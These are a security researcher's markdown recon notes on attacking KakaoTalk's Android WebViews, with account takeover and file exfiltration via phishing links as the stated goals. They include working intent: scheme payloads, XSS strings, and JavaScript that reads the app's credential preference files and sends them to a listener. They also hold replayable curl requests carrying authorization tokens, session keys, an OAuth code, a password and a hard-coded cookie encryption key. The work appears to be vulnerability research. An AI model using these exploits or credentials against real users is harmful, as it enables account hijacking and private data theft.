kakaotalk_analysis/recon/webview/WEBVIEW.md

WebView Recon

• Goals
• Attack Vectors
• Findings
• To-Dos / Digging
  • Tokens / Cookies
  • Javascript Interfaces
  • CSRF
  • File Access / Content Providers
  • DownloadListener
  • Deeplinks
  • Kakao Pay
  • Misc
• Resources
• Appendix
  • Payloads
  • KGPopupActivity

Goals

• Account takeover via phishing link
• File exfiltration from KakaoTalk's application sandbox via phishing link

Attack Vectors

• File load from insecure file locations
• Load data into WebViews via intent: scheme
• HTTP(S) MITM
• Create a malicious Plus Friend or Kakao Business page or an Open Chat Room
• Deep link parsing
  • Deep link —> open insecure WebView —> MITM —> run arbitrary JS code
  • Use the intent: scheme to start arbitrary components
  • Open attacker controlled website -> JS
  • Try different URL schemes (e.g., javascript:, intent:, file://, content://, data://, etc.)
• Phishing (e.g., steal credentials by showing a legitimate KakaoTalk page)
  • https://accounts.kakao.com/

Findings

• Account takeover
  • Send malicious link
  • Steal token
  • update_settings.json -> change e-mail
  • Reset password
  • Install KakaoTalk for Windows
  • Login in with credentials
  • Brute-force 4-digit pin
• Token leakage in HTTP request headers:
  • location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"

# Get phone number, e-mail address and other PII
curl -i -s -k -X $'GET' \
    -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'Authorization: d587a91fdf4c4e008145ffcd2282485000000016872655885310012q2jUmqPL3w-295c990ec4b3470b9df03827b4a9e38b5caf17cfc010bb18abab9aee622ec5f8' -H $'C: 5eb095d6-11de-4eb6-9076-4f3f3941ec58' -H $'Connection: close' \
    $'https://katalk.kakao.com/android/account/more_settings.json?os_version=30&model=SDK_GPHONE_ARM64&since=1678238174&lang=en&vc=2410170&email=2&adid=&adid_status=-1'

# Get friends
curl -i -s -k -X $'POST' \
    -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'A: android/10.1.7/en' -H $'Adid: a42e75cd-19e5-43a5-a23b-d2390c100942' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 134' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
    --data-binary $'removed_contacts=%5B%5D&add_friends_to_limit=false&phone_number_type=1&reset_contacts=true&type=a&manual=false&contacts=%5B%5D&token=0' \
    $'https://katalk.kakao.com/android/friends/update.json'

# Update settings
curl -i -s -k -X $'POST' \
    -H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'A: android/10.1.7/en' -H $'C: 7db8c5a8-978c-4009-8ae0-87c1caf91562' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
    --data-binary $'usim_same_numbers=%5B%22false%22%5D' \
    $'https://katalk.kakao.com/android/account/update_settings.json'

# Get OAuth token
curl -i -s -k -X $'GET' \
    -H $'Host: kauth.kakao.com' -H $'Authorization: dc5cba9030874e758df0dbfa3ff0d27900000016873539108050012g3ESfF4vpW-5d977e2cb705405fdab021b372e3c19ca3fa84a4d159087a89507719141dbeef' -H $'User-Agent: KT/10.1.7 An/11 en;KAKAOTALK' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
    $'https://kauth.kakao.com/oauth/authorize?client_id=24b2ff717557a8090279253242652f80&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth&response_type=code'

curl -i -s -k -X $'POST' \
    -H $'Host: kauth.kakao.com' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 271' -H $'Accept-Encoding: gzip, deflate' -H $'User-Agent: okhttp/4.9.3' -H $'Connection: close' \
    --data-binary $'client_id=24b2ff717557a8090279253242652f80&code=pYn2ksN-KH8bIaCHp3OwiM98G5xgdzkEvIgA4HDBhUT-uVcrTXzHiEgp1vA1HrERSESLXQoqJY8AAAGI3iGODg&grant_type=authorization_code&android_key_hash=S2FrYW9JIE1hc3RlciBLZXkg&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth' \
    $'https://kauth.kakao.com/oauth/token'

• I can MITM TLS connections. There's just a security warning in KakaoTalk's UI that the user can accept (no need to put a Burp CA cert into Android trusted CA store).
• I can start arbitrary components via the intent: scheme in CommerceBuyActivity (kakaotalk://buy)
• I can exfiltrate files via the intent: scheme in CommerceBuyActivity and opening content:// URLs in MyProfileSettingsActivity:

location.href = "kakaotalk://buy";
// Read Firebase Installation configuration
location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;end"
var data = document.querySelector('pre').innerHTML;
img = new Image();
img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(data);

• I can open arbitrary URLs via KGPopupActivity, MyProfileSettingsActivity and CommerceShopperWebViewActivity:
  • adb shell am start "intent:#Intent\;component=com.kakao.talk/.gametab.view.KGPopupActivity\;S.url=https://foo.com\;end"
  • location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"
  • location.href = "intent:#Intent;component=com.kakao.talk/com.kakao.talk.commerce.ui.shopper.CommerceShopperWebViewActivity;S.URL=https://foo.com;end"
  • ConnectBroadcastFriendsPickerActivity -> kakaointernalweb://host/q?url=https://www.foo.com&spamType=0&isPlusType=true'
  • BizInAppBrowserActivity-> kakaotalk://bizwebview/open?url=http://www.foo.com
• I can execute Javascript by:
  • Pointing to attacker-controlled URLs
  • Using the data: scheme, e.g.: location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=data%3Atext%2Fhtml%2C%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E;end"
  • Using the javascript: scheme, e.g.: location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=javascript:alert%28%221%22%29;end"
• I can access /storage, /data/data/com.kakao.talk/files, /data/data/com.kakao.talk/cache directories by opening content: URLs in MyProfileSettingsActivity, KaKaoMailDocumentViewWebActivity, and others, e.g.:
  • location.href = "intent:#Intent;component=com.kakao.talk/.activity.kakaomail.KaKaoMailDocumentViewWebActivity;S.url=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;S.subContent=foo;end"
  • Reading a cookie: adb shell content read --uri "content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627"
  • Using the android-app: scheme: adb shell am start "android-app://#Intent\;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity\;S.EXTRA_URL=content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627\;end"
• I can access the user's location by exposed Javascript interfaces
• Auto-download to /sdcard/Download via Chrome (app://kakaotalk/openURL?url=)
• I can access other BROWSABLE Activities or Apps via the android-app: scheme, e.g.:
  • location.href = "android-app://com.google.android.googlequicksearchbox/https/www.google.com"
  • location.href = "android-app://com.kakao.talk/kakaotalk/hairshop#Intent;package=com.kakao.talk;end"
• setWebContentsDebuggingEnabled seems to be enabled for most WebViews
• XSS in com.kakao.talk.activity.cscenter.CsCenterActivity (search field)
  • https://cs.kakao.com/search?query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E (you need to click into the search field)

To-Dos / Digging

Things to try out / dig deeper.

Tokens / Cookies

• What's this cookie? -> /sdcard/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627
  • Encrypted with a hard-coded password (KaKAOtalkForever)
  • Plaintext: {"sid":"4322E936A4CC18FC7041C1DD53CAFB58934880D7F88D7A514613BC1035786F"}
  • Java Class: n50.b / CookieFileUtils
• How is the _maldive_oauth_webapp_session_key token generated? Required for a couple of REST APIs, e.g.:

# Check password
curl -i -s -k -X $'POST' \
    -H $'Host: auth.kakao.com' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: https://auth.kakao.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' -H $'Content-Length: 99' \
    -b $'_maldive_oauth_webapp_session_key=0795170f93efe069384cedf7750c6a6d' \
    --data-binary $'client_id=88215199793288849&lang=en&os=android&v=10.1.7&webview_v=2&password=kBB5mmmE&check_type=11' \
    $'https://auth.kakao.com/kakao_accounts/check_password.json'

# Change password
curl -i -s -k -X $'POST' \
    -H $'Host: auth.kakao.com' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: https://auth.kakao.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' -H $'Content-Length: 120' \
    -b $'_maldive_oauth_webapp_session_key=0795170f93efe069384cedf7750c6a6d' \
    --data-binary $'client_id=88215199793288849&lang=en&os=android&v=10.1.7&webview_v=2&password=kBB5mmmE&new_password=kBB5mmmE&reset_type=3' \
    $'https://auth.kakao.com/kakao_accounts/check_restricted_password.json'

@JavascriptInterface

• TO-DO: Check interfaces that expose location information
• Search for custom Javascript->Native bridges
• KvKakaoViewJavascriptInterface -> loadURL()
• BaseWebViewActivity -> saveImage()
• NamecardWebActivity -> saveImage()
• JdSearchWebScriptInterface saveImage()
• VCBridgeJavascriptInterface -> writeData() and readData() methods
• DigitalDocsWebActivity -> webview_mount()
• KakaoBizWebJavascriptInterface -> executeBizWebExtension()

CSRF

• Test/check kakaotalk://settings
• Interesting Activities:
  • ChangePhoneNumberActivity
  • com.kakao.talk.activity.setting.p134pc.PCSettingsActivity
  • com.kakao.talk.activity.setting.p134pc.PCSettingsAuthenticationNumberActivity
  • com.kakao.talk.activity.setting.DeleteAccountAgreementActivity
  • com.kakao.talk.activity.setting.DeleteAccountCheckOthersActivity
  • com.kakao.talk.activity.setting.DeleteAccountResultActivity
  • com.kakao.talk.activity.setting.EncryptionKeysInformationActivity
  • com.kakao.talk.activity.setting.EncryptionKeysInformationDetailActivity
  • com.kakao.talk.zzng.settings.MyPinSettingsActivity

File Access / Content Providers

• Investigate FileDownloadHelperActivity
  • location.href = "intent:#Intent;component=com.kakao.talk/.activity.file.FileDownloadHelperActivity;action=com.kakao.talk.activity.file.FileDownloadHelperActivity.ACTION_FILE_OPEN;S.file_uri=file:///external_files/test.txt;end" -> Failed to find configured root that contains /external_files/test.txt
• setAllowFileAccessFromFileURLs
  • Create a JS file in Download folder (called foo.html)
  • foo.html reads file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml
  • Access foo.html file via content: scheme in some Webview that supports setAllowFileAccessFromFileURLs
  • XMLHttpRequest still won't work -> not a file:// URL?
  • Need to be able to create/download files in/to Download folder
• Cannot steal files from unprotected Content Providers that cannot be rendered in a Webview (e.g., LocalUser_DataStore.pref.preferences_pb in files folder). Text files work fine: content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json.
  • CommerceShopperWebViewActivity doesn't auto-download but also doesn't render binary files

DownloadListener.onDownloadStart

• Check p21.e / DownloaderTask class (com.kakao.talk.widget.webview.WebViewHelper -> processDownload() -> C42792b.m9697b() -> DownloaderTask.m16277b())
  • TO-DO: Try path traversal
  • Bypass DownloaderTask checks
  • Downloads files to /sdcard/Download/ directory
  • Not able to overwrite files
  • Play with data: URIs (data:[<mediatype>][;base64],<data>)
• TO-DO: I might be able to force WebViews to auto-download files by pointing them to an attacker-controlled website. Required headers:
  • Content-Type: application/octet-stream
  • content-disposition: attachment; filename=foo.html
• Investigate com.kakao.talk.widget.webview.WebViewHelper class:
  • downloadImagesToSdCard()
    • processDownload() -> C42792b.m9697b() -> DownloaderTask.m16277b()

Deeplinks

• Check kakaolink:// deep links
• InAppBrowserActivity -> kakaotalk://inappbrowser
• KakaoOrderActivity (kakaotalk://order)
• kakaotalk://store
  • HTTP request to store.kakaofriends.com —> Change Location in HTTP Response Header to a different URL
• KakaoHairshopActivity (kakaotalk://hairshop)
• KakaoStyleActivity (kakaotalk://style)
• BillingWebActivity (kakaotalk://mywallet/go)
• CommerceGiftActivity (kakaotalk://gift/home?url=shortcut&input_channel_id=1017)
  • Check app:// links
• CheckoutActivity (kakaotalk://checkout/open?url=)

Kakao Pay

• Set up Kakaopay —> Get Korean phone number / SIM card
  • kakaotalk://kakaopay/billgates?url=
  • kakaotalk://kakaopay/web?url=
  • kakaotalk://kakaopay/payweb?url=
  • kakaopay://payweb?url=

Misc

• Clicking on https://auth.kakao.com in the KakaoTalk UI leads to KakaoAccountSettingsActivity
• Switch to a different Activity via continue parameter -> https://auth.kakao.com/kakao_accounts/talk/check_password?continue=kakaotalk://main
• When opening content: URIs I end up in the null origin -> XMLHttpRequest to http schemes works here

Resources

Appendix

Payloads

Test payloads:

<img src=1 onerror=\"alert(1);alert('XSS')\"/>

var x=new XMLHttpRequest(); x.open('GET', 'http://localhost:8000/', true); x.send();

<img src=1 onerror=\"var xhttp_comment = new XMLHttpRequest();xhttp_comment.open('GET', 'http://localhost:8000/', true);xhttp_comment.send();\"/>

Exfiltration payload:

<img src=1 onerror=\"
var xhttp_comment = new XMLHttpRequest();

xhttp_comment.onreadystatechange = function() {
    if (this.readyState == 4) {
        img = new Image();
        img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(this.responseText);
    }
};

xhttp_comment.open('GET', 'file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml', true);
xhttp_comment.send();
\"/>

One-liner:

<img src=1 onerror=\" var x = new XMLHttpRequest(); x.onreadystatechange = function() { if (this.readyState == 4) { img = new Image(); img.src = 'http://localhost:8000?data=' + encodeURIComponent(this.responseText); } }; x.open('GET', 'file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml', true); x.send(); \"/>

KGPopupActivity

• KGPopupActivity (kakaotalk://gamecenter)
• webViewSettings.setAllowFileAccessFromFileURLs(true);
• webViewSettings.setAllowUniversalAccessFromFileURLs(true);
• Intent scheme allowed
• There are KG, Kakao and kakaoweb JS APIs
• JavaScript-Native Bridge
  • Gametab.api("talk/toolbar/show", '', ''); —> defined in class KGWebViewCommands
• Key for Kakaotalk Javascript SDK: 8fa1ffbc074c716c201ce0074d5f798e

Send intents in JS:

// Open Game Center (KGPopupActivity)
location.href = "intent://gamecenter#Intent;scheme=kakaotalk;end";
// Open Music Player
location.href = "intent:#Intent;action=com.kakao.talk.intent.action.OPEN_MUSIC_PLAYER;end"
// Open any URL in KakaoTalk browser
location.href = "intent:#Intent;action=foo;S.browser_fallback_url=https://foo.com;end"

Via ADB:

# Open Gift Store
adb shell am start "intent:#Intent\;component=com.kakao.talk/.commerce.ui.gift.CommerceGiftActivity\;end"

intent: parsing observations:

• Intent scheme parsing happening in URIController.d method
  • parseUri.addCategory("android.intent.category.BROWSABLE");
  • parseUri.setSelector(null);
  • parseUri.setComponent(null);
  • action is allowed
  • package opens the Playstore
  • data part is parsed for http and https schemes
  • malformed intent:// URL -> "about:blank" WebView
  • component=null -> Google Settings Backup Activity